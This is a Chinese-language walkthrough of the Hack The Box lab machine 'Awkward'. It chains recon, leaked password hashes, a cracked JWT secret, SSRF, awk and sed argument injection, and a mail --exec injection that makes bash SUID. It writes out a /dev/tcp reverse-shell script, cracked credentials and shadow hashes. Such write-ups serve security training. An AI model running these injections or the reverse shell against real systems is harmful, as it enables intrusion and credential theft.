基本信息

端口扫描

22和80:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ nmap -sC -sV -Pn 10.10.11.185
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-25 13:15 CST
Stats: 0:01:01 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 13:16 (0:00:06 remaining)
Nmap scan report for 10.10.11.185
Host is up (0.20s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 7254afbaf6e2835941b7cd611c2f418b (ECDSA)
|_ 256 59365bba3c7821e326b37d23605aec38 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 68.53 seconds

80

需要加hosts:

1
10.10.11.185 hat-valley.htb

app.js

/js/app.js中可以得到一些路由(也可以在后面的ssrf中得到):

1
2
3
4
5
6
7
8
var baseURL = "/api/"

/all-leave
/submit-leave
/login
/staff-details

var routes = [{ path: "/", name: "base", component: _Base_vue__WEBPACK_IMPORTED_MODULE_3__["default"]}, { path: "/hr", name: "hr", component: _HR_vue__WEBPACK_IMPORTED_MODULE_4__["default"]}, { path: "/dashboard", name: "dashboard", component: _Dashboard_vue__WEBPACK_IMPORTED_MODULE_5__["default"], meta: { requiresAuth: true }}, { path: "/leave", name: "leave", component: _Leave_vue__WEBPACK_IMPORTED_MODULE_6__["default"], meta: { requiresAuth: true }}];

子域名扫描

子域名可以发现一个store:

1
2
3
ffuf -w ~/Tools/dict/SecLists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u "http://hat-valley.htb/" -H 'Host: FUZZ.hat-valley.htb' -fs 132

store [Status: 401, Size: 188, Words: 6, Lines: 8, Duration: 201ms]

需要登录:

#hat-valley.htb

hr to dashboard

http://hat-valley.htb/hr 也是需要登录,默认cookie是guest,修改为其他任意,可以访问到dashboard:

staff-details

staff-details api 未授权,得到一些用户名和密码hash,可以破解出来其中christopher.jones的密码:

1
2
3
4
5
6
curl http://hat-valley.htb/api/staff-details | jq

"username": "christopher.jones",
"password": "e59ae67897757d1a138a46c1f501ce94321e96aa7ec4445e0e97e94f2ec6c8e1",

chris123

hr again

回到hr那里,得到的账号密码正常登录,得到有效JWT,JWT也可以破解出来密钥:

1
2
3
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjY2Njc3MTE2fQ.hNfctPivZ8nIAbiyDgE_sKMUxTrvJs0xu1S2SKhzAWw -d ~/Tools/dict/rockyou.txt -C

[+] 123beany123 is the CORRECT key!

store-status SSRF

store-status那里可以SSRF,发现3002端口泄漏代码:

1
http://hat-valley.htb/api/store-status?url=%22http:%2F%2F127.0.0.1:3002%22

awk 参数注入

查看上面的代码,之前是有非预期命令注入的,现在已经修复了,预期方案是jwt伪造用户名,注入到awk中,达成任意文件读取效果:

1
2
3
4
5
6
7
exec("awk '/" + user + "/' /var/www/private/leave_requests.csv", {encoding: 'binary', maxBuffer: 51200000}, (error, stdout, stderr) => {

python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjY2Njc3MTE2fQ.hNfctPivZ8nIAbiyDgE_sKMUxTrvJs0xu1S2SKhzAWw -pc username -pv "/' /etc/passwd 'a" -p 123beany123 -S hs256 -I

"awk '/" + /' /etc/passwd 'a + "/' /var/www/private/leave_requests.csv"

"awk '/"/' /etc/passwd 'a"/' /var/www/private/leave_requests.csv"

LFI

一步步读取文件,得到bean用户的密码

/home/bean/.bashrc

1
2
3
4
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjY2Njc3MTE2fQ.hNfctPivZ8nIAbiyDgE_sKMUxTrvJs0xu1S2SKhzAWw -pc username -pv "/' /home/bean/.bashrc 'a" -p 123beany123 -S hs256 -I

# custom
alias backup_home='/bin/bash /home/bean/Documents/backup_home.sh'

/home/bean/Documents/backup_home.sh

1
2
3
4
5
6
7
8
9
10
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjY2Njc3MTE2fQ.hNfctPivZ8nIAbiyDgE_sKMUxTrvJs0xu1S2SKhzAWw -pc username -pv "/' /home/bean/Documents/backup_home.sh 'a" -p 123beany123 -S hs256 -I

#!/bin/bash
mkdir /home/bean/Documents/backup_tmp
cd /home/bean
tar --exclude='.npm' --exclude='.cache' --exclude='.vscode' -czvf /home/bean/Documents/backup_tmp/bean_backup.tar.gz .
date > /home/bean/Documents/backup_tmp/time.txt
cd /home/bean/Documents/backup_tmp
tar -czvf /home/bean/Documents/backup/bean_backup_final.tar.gz .
rm -r /home/bean/Documents/backup_tmp

bean_backup_final.tar.gz

这个压缩包中的另一个压缩包,配置文件中得到bean的密码

1
2
3
4
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjY2Njc3MTE2fQ.hNfctPivZ8nIAbiyDgE_sKMUxTrvJs0xu1S2SKhzAWw -pc username -pv "/' /home/bean/Documents/backup/bean_backup_final.tar.gz 'a" -p 123beany123 -S hs256 -I

bean.hill
014mrbeanrules!#P

user flag

bean ssh登录:

store

store前面看是需要密码的,现在可以去读配置文件,破解不出来,但其实就是bean用户的密码:

1
2
3
4
5
6
bean@awkward:/var/www/store$ cat /etc/nginx/conf.d/.htpasswd
admin:$apr1$lfvrwhqi$hd49MbBX3WNluMezyjWls1

sudo john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

014mrbeanrules!#P

结合代码中相关说明,现在没有使用数据库,使用本地文件进行相关处理

代码审计发现,cart_actions.php中删除cart时调用sed,可以进行命令注入,但过滤了很多字符,不能直接使用gtfobins中常规利用方式:

1
2
3
$bad_chars = array(";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"); //no hacking allowed!!

system("sed -i '/item_id={$item_id}/d' {$STORE_HOME}cart/{$user_id}");

查看sed文档,可以发现-e参数:

1
-e script, --expression=script add the script to the commands to be executed

所以可以像这样进行利用:

1
2
3
4
system("sed -i '/item_id={$item_id}/d' {$STORE_HOME}cart/{$user_id}");

$item_id = ' -e "1e /tmp/shell.sh" /tmp/shell.sh ' <----- our input
system("sed -i '/item_id=' -e "1e /tmp/shell.sh" /tmp/shell.sh '/d' {$STORE_HOME}cart/{$user_id}"); <----- this will be executed in the sed command

cart_actions.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
<?php

$STORE_HOME = "/var/www/store/";

//check for valid hat valley store item
function checkValidItem($filename) {
if(file_exists($filename)) {
$first_line = file($filename)[0];
if(strpos($first_line, "***Hat Valley") !== FALSE) {
return true;
}
}
return false;
}

//add to cart
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST['action'] === 'add_item' && $_POST['item'] && $_POST['user']) {
$item_id = $_POST['item'];
$user_id = $_POST['user'];
$bad_chars = array(";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"); //no hacking allowed!!

foreach($bad_chars as $bad) {
if(strpos($item_id, $bad) !== FALSE) {
echo "Bad character detected!";
exit;
}
}

foreach($bad_chars as $bad) {
if(strpos($user_id, $bad) !== FALSE) {
echo "Bad character detected!";
exit;
}
}

if(checkValidItem("{$STORE_HOME}product-details/{$item_id}.txt")) {
if(!file_exists("{$STORE_HOME}cart/{$user_id}")) {
system("echo '***Hat Valley Cart***' > {$STORE_HOME}cart/{$user_id}");
}
system("head -2 {$STORE_HOME}product-details/{$item_id}.txt | tail -1 >> {$STORE_HOME}cart/{$user_id}");
echo "Item added successfully!";
}
else {
echo "Invalid item";
}
exit;
}

//delete from cart
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST['action'] === 'delete_item' && $_POST['item'] && $_POST['user']) {
$item_id = $_POST['item'];
$user_id = $_POST['user'];
$bad_chars = array(";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"); //no hacking allowed!!

foreach($bad_chars as $bad) {
if(strpos($item_id, $bad) !== FALSE) {
echo "Bad character detected!";
exit;
}
}

foreach($bad_chars as $bad) {
if(strpos($user_id, $bad) !== FALSE) {
echo "Bad character detected!";
exit;
}
}
if(checkValidItem("{$STORE_HOME}cart/{$user_id}")) {
system("sed -i '/item_id={$item_id}/d' {$STORE_HOME}cart/{$user_id}");
echo "Item removed from cart";
}
else {
echo "Invalid item";
}
exit;
}

//fetch from cart
if ($_SERVER['REQUEST_METHOD'] === 'GET' && $_GET['action'] === 'fetch_items' && $_GET['user']) {
$html = "";
$dir = scandir("{$STORE_HOME}cart");
$files = array_slice($dir, 2);

foreach($files as $file) {
$user_id = substr($file, -18);
if($user_id === $_GET['user'] && checkValidItem("{$STORE_HOME}cart/{$user_id}")) {
$product_file = fopen("{$STORE_HOME}cart/{$file}", "r");
$details = array();
while (($line = fgets($product_file)) !== false) {
if(str_replace(array("\r", "\n"), '', $line) !== "***Hat Valley Cart***") { //don't include first line
array_push($details, str_replace(array("\r", "\n"), '', $line));
}
}
foreach($details as $cart_item) {
$cart_items = explode("&", $cart_item);
for($x = 0; $x < count($cart_items); $x++) {
$cart_items[$x] = explode("=", $cart_items[$x]); //key and value as separate values in subarray
}
$html .= "<tr><td>{$cart_items[1][1]}</td><td>{$cart_items[2][1]}</td><td>{$cart_items[3][1]}</td><td><button data-id={$cart_items[0][1]} onclick=\"removeFromCart(this, localStorage.getItem('user'))\" class='remove-item'>Remove</button></td></tr>";
}
}
}
echo $html;
exit;
}

?>

www-data shell

在购物车中添加一个商品,然后去服务器上查看文件:

1
2
3
bean@awkward:/var/www/store/cart$ cat 557e-1746-524-ee64
***Hat Valley Cart***
item_id=1&item_name=Yellow Beanie&item_brand=Good Doggo&item_price=$39.90

我们不能直接编辑这个文件,但我们可以删除文件后创建一个新的:

1
2
3
4
5
6
7
8
9
10
11
bean@awkward:/var/www/store/cart$ rm 557e-1746-524-ee64
rm: remove write-protected regular file '557e-1746-524-ee64'? y
bean@awkward:/var/www/store/cart$ nano 557e-1746-524-ee6

bean@awkward:/var/www/store/cart$ cat 557e-1746-524-ee64
***Hat Valley Cart***
item_id=1' -e "1e /tmp/shell.sh" /tmp/shell.sh '&item_name=Yellow Beanie&item_brand=Good Doggo&item_price=$39.90

bean@awkward:/var/www/store/cart$ cat /tmp/shell.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.3/4444 0>&1

修改完成后删除购物车中商品,删除时同样要拦截请求修改其中数据,触发命令执行:

这样得到的是www-data shell:

提权信息

运行pspy可以发现,当有新的请假请求时,会调用mail命令拼接对应csv文件中的name,这个文件我们现在的www-data有权限编辑:

所以这里是另一个命令注入

提权 & root flag

1
2
3
4
5
6
7
bean@awkward:/var/www/store/cart$ cat /tmp/priv.sh
#!/bin/bash
chmod +s /bin/bash

bean@awkward:/var/www/store/cart$ chmod 777 /tmp/priv.sh

www-data@awkward:~/private$ echo '" --exec="\!/tmp/priv.sh"' >> leave_requests.csv

shadow

1
2
3
root:$y$j9T$ZIlTVYLPszqZujGML5./W.$HD3g2FwVlePYbdiEVZ7YyKXtIl3IoenZkQLVx5VhH92:19250:0:99999:7:::
bean:$y$j9T$0oEkN6BXZ6CRpf/T8roPn/$bjeeSZqTdNXg7K2mosuZVCYqEfBP.M6isvq.mro0Ii0:19250:0:99999:7:::
christine:$y$j9T$a/zXQvT00y0B4j75qhmWw/$YVcc67qoysqts2Gf51.SChXv8Y1mPEV/w3Bh/g/Ok8D:19250:0:99999:7:::

参考资料